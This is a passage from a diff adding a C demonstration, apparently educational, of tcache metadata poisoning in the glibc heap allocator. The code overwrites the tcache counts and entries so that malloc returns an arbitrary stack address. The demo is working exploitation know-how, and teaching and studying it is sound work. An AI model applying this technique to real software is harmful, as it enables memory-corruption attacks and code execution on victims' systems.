*)((long)victim - HEADER_SIZE - metadata_size); + printf("The tcache metadata is located at %p.\n\n", metadata); + + puts("Now we manipulate the metadata struct and insert the target address\n" + "in a chunk. Here we choose the second tcache bin.\n"); + metadata->counts[1] = 1; + metadata->entries[1] = &stack_target; + + uint64_t *evil = malloc(0x20); + printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n" + "second tcache bin. The returned pointer is %p.\n", + evil); + assert(evil == &stack_target); +}